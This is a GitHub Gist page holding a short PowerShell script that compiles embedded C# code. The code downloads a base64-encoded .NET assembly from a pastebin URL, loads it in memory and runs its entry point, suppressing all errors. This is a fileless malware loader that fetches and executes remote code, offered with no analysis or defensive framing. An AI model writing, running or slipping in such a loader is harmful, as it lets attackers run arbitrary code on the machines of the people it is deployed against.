Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.
Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.
$code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace Nyan
{
public class Cat
{
public void Run()
{
using (WebClient wc = new WebClient())
{
// new Thread(() =>
// {
try
{
Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/vezkZ6VC")));
MethodInfo Metinf = asm.EntryPoint;
object InjObj = asm.CreateInstance(Metinf.Name);
object[] parameters = new object[1]; // C#
if (Metinf.GetParameters().Length == 0)
{
parameters = null; // VB.NET
}
Metinf.Invoke(InjObj, parameters);
}
catch { return; }
// })
// { IsBackground = false }.Start();
}
}
}
}
"@
Add-Type -TypeDefinition $code;
$instance = New-Object Nyan.Cat;
$instance.Run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment